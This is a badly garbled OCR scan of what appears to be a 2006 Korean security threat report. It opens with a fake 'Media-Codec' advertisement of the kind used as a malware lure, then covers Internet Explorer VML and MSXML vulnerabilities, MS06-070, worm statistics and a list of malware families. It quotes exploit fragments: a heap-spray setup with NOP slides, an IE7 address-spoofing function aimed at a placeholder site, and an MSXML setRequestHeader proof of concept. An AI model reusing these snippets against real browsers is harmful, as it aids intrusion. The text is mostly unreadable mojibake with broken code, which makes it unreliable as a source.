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MEDIAR CODEC

D Gives up to 40% better quality and prowides less file size
2 Adds file plapback support option to all the popular players

D Installation requires no special knowledge of video codecs

Medin-Codee is a i i essor Media-Codec v 4.01a
which 1sgi into the " of muttimedia Wedhe-Codec vd 0 & is new generstion mutimedia

Gomptsssaridecompressor which reglsters into the Windawes callection of

drivers and integrates with any application using Dir ectShow
and Microsoft Video for Windows. Media-Codec will highly
inerease quality of video files you play.

Meslia-Codec enhances your music listening experience by
improving the sound quality of video files sound, MP3,
internet radio, Windows Media and other music files. Renew
stereo depth. add 30 surround sound, restore sound clarity,

mutimedia drivers.

Media-Codec v 3.0
Medlia-Coder v3.0/s previoiss version of this revohtionary video
COMpTESS0rdecompressor softvare.

ledia-Codec Light v 1.04.
Media-Codet Light ) 094 i= ikt version of Medis-Comes w4 013 Withort
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boostyour audio levels, and produce deep, tich bass sounds, B

2005 All Right Reserved
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0000B944 0000B944 0 <html xmIns:v="urn:schemas—microsoft—-com:vml"><head><object

id="VMLRender" classid="CLSID:10072CEC-8CC1-11D1-986E-

00A0C955B42E"></object>
<style>vi¢:+ { behavior:url(#VMLRender); }</style></head><body>

0=
0000BD1C 0000BD1C 0 "); var heapBlockSize = 0x400000; var paylLoadSize
=payLoadCode.length * 2;var spraySlideSize = heapBlockSize =
(payLoadSize+0x38);varspraySlide = unescape("%u9090%u9090");

. <3E.I:>

<v:rect style='width:120pt;height:80pt' fillcolor="red"><v:fill method = "

» Internet Explorer 7.0 &Y & = 9
I[E 7.090M+= #Y & AH 288 3t F+4 A=

= URL 45 #3 Fo=z 2831 AA| 47 BoA]A] &

Py, EA olxy] = %}(non—
=13

A=
Hol ek, #AAE Aokl WA dANUs FAE Yito|Ed
=

ol

breaking space)S X
oF
o)

QRI} s

ANsa §28 g A Az FaE FYSE 9 BePAdE g s A
oJEZ FHEM Aokol A B Fol YA BHALE Fx EAEO| AE B B
AQAR A5 A% 99 THo olgd = rk.

function Exploit()

{

var padding ="

[LHE AfA ]

newWindow = window.open("", "Win", "width=500,height=325,scrollbars=yes");
newWindow.moveTo( (screen.width-325) , 0 );
newWindow.document.location = "/result_22542/?" + unescape("%A0")
unescape("%A0") + "http://www.viXXim.com/"+padding;

document.location = "http:// www.viXXim.com/default.html";

}

» MS06-070 /I AE|O|M MH|A M2 F okA
AEs Az"oldE 54 AFHE 24 B 9402 AY faF muiele 52

(Join)3}7] s Yazelo]A Au] ~(wkssve) Aol &23}+= NetrJoinDomain2 RPC ™|

A|A S ol g3t A28 =del AEZEH(DC)Y ‘MachineName' I Eo] ShellcodeE &

=

ste] elelHow 24 1 FADES Hol AEFFODH, o F Wol A sk Ul Alzsgel
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gelo]d Aulsol A ek wAetAl Bk ol Auls ¥ ol trol} gk A
zgle] AR W (reboot) L el mE Aao] e et

wkssve.dll

NetpManagerlPCConne
= _Imp_sSWwpni

Domain{S=I2!)

) Target System

RPC EMessage l

", DC(EMEI2 ES2Y)

NetJoinDomain =

[Z92] Fazeeold Muls vl FHepd dA 34 4=

» MS06-071 XML 20| AMH|A kX
MS XML Core Services (MSXML)E AF&A}7}F JScript, VBScript, Visual Studio 6.02 AF-&
ste] B ofEE|Alo] Y AEstEs XML 7]9ke] ofEEjAlol S 75T & =T A
ok dlg FH oS o] MS XML Core Services (MSXML)9| ¥4-¢1 XMLHTTP 4.0 ActiveX
HAEZo] 54 v|2A=<Ql 'setRequestHeader'E® T3A AP EH = FAHoNA AT, g
MSXML 4.0 GUIDE ARg3dte] eBAEES AbQletal, HAdg Ax gs zte o9

=]
‘setRequestHeader’ MAEE &3+ /Y =29 2 =(POC)Y d3E o]t}

<object id=target clasaid="CL3ID:88d269c5-£192-11d4-as65£f-C

</object>

<gcript>

var obj] = null;

abj = docurment.getElementById('target') .object;
try { .

obj.openinew Array() ,new Arrayi),new Array() ,new Array().,r
} catchie) (}: g

«

obj.apeninew Chiscti),new Chiecti),new Objecc(),new Object

ob]j.3etRequestHeader (new OLISCT (), ' @ v e as DV)E ,J
obj.setRegquestHeader (new Objece () ,0x12345678)
obj.zetBPegquestHeader (new Object () ,0x12345878)

[1¥3] MS XML ¥4 3=
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o[Al X<l 913 MSe H<et 54‘-‘%191 =& 9 ENET ofEY Aol F

S AAME] TErel 7t ZE WS Ak gois] Yrkal ok o= (Apple) HIFE Akl

A g G AA Mac OS XA S48k w214 222791 iChatO &2 fraEy= ERO

izt 297 dAEA o, Aok (Safarl) 59 o EEAolAE o] &35t BMP, GIF, TIFF

Epe] oke Al aY B S Aeste Aol EA sk FHoHel T HAdth Mac OS X

v FEY fYs T2 gHAES AMEE Q7] wiEdd ofd ZRad Azl
o

A 4 ~AYES o]§3te] 54 AEY 54 %UL Wi Exo|Erh}

2 ofj E2l7olMd SH2| Bt

A 2006 sE A 7 T 7P FEE EAS A ofEgAel e w4 U
o= st= FHoFHY g Frlolth HZow= d7IARE TA7IH o2 7hA] HskH
YA Al 2~dlo] Hgst © ggFor S0HMHTTP) XEE A9 e Effgo] g3
2 A Hol A28 JEE S e 2F Ho] e 80W § XEE AR
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A0 BSQL IS FE= ARER Aoz YERgT 2006 shRbrlo] g o) A&
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g} stk SEHem § ofEedleld w42 U 2 A= oAl 29
OIAERNE dHE e AMBolA ANz HAsHA] 7] el dAste= 4 of &)
old MEAES QN AFeRFE AT F JEF AFo] Yol WS ThAok &,
Bt BEaE2 § UEY 5o {4 oEgAeld Bet AlF =Yoew dF Fstd Heb $
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Am e el F7t FA
MU o §¢ MYIE FEE o7 ANEH AEHC] & WHYNE BTHIT AAE
e ovled Yom sl by Be WE Fahu ok A PYm=e] Aol AR W
Hepgol WASE FA olF o] 8% Tl WAY AR WARALNE BT ol
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o B4 WAL Bl 27k ol AR AHgRe] PCol BAL § & ol thE gl
o e nes o oldd 9o A%E A% g EEH wEel B FE gtk
A ARelA 71 we AY WAE fusta JE pmsE Ads FAs Uztol
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AERE oln] Y Az

al
Win32/Netsky.worm)o|th, ¥lA7lo] @ o]9jo| = wlo]lE ¥ (Win32/Mytob.worm)@} 7o)
Sl # 7}
U olgfst I EEL U ol AR W] MR &1 A fgahdse FAE E

E
olaL Utk
o2 Y A4 TS H
Eetc
5000 B W32/Funlove
B W32/Bagz
4500 OW32/Feebs
4000 Ow32/Sality
3500 @ W32/Bugbear
¢ 3000 B W32/Zafi
;J 2500 = OWws2/Stration
gg 2000 . B W32/Lovgate
- O w32/Klez
1500 = B W32/Mywife
1000 O W32/Mydoom
500 OwW32/Bagle
0 B W32/Mytob
12 22 3" 42 5% 6%7|7Z% 82 92 102 1€ 128 O W32/Netsky
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[2172] 2006\ IPAS] Q== A% 57

[192]% PAGIA MEE 2
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A% dolE iy AR Avht Be Fol fyIEst AvEa QEAE e
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2006\ 3 obgm= B 20059 6UHE oo AN ERo|Hute] Hug
7l o] A= ool Felolrh. S8l 20061 @ dl otdmes] FAA 7 B
s $E el 2 Ao Sstd FHme T ow olojxed o3 JHe THoAE
FASAL dolibar glvk olel@ etym=e] P oA FIAM fymme] 7Y BEL
oW d WMHE olojgiA & NS Hdo RES FA.
M= TOP 10

=9 Rising

1 Trojan.DL.Agent

2 Backdoor.Gpigeon

3 Trojan.DL.Small

4 Trojan.DL.QQHelper

5 | Trojan.PSW.LMir

6 Dropper.Agent

7 | Trojan.PSW.QQRobber

8 Exploit. HTML.CodeExec

9 Trojan.Spy.Agent

10 AdWare.Hbang
[3£1] 20069 2] A (Rising) ¢} = TOP 10
20061 T A AE Y SHEE A F7F v [Fllelvh (%118 Fud Fv
20061 FolA] g 74yl o wuy oHIE FoA 195 AAF JHmE=

Trojan.DL.Agent(V3 v Win-Trojan/Agent)”} FAFH A}, g E=Zo|Enl= DLL
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7= @dolt
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Trojan.DL.Small(V3 F @™ Win-Trojan/Xema)°] Z}A3tar A t}.

I FHE o] Trojan.DL.QQHelper(V3 W™ Win-Trojan/QQHelper)7} 4% i}?ﬂ%‘}ﬁl
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<head>=</head >
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<scripk language="YEScript" >
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Set df = document. createElement("object™
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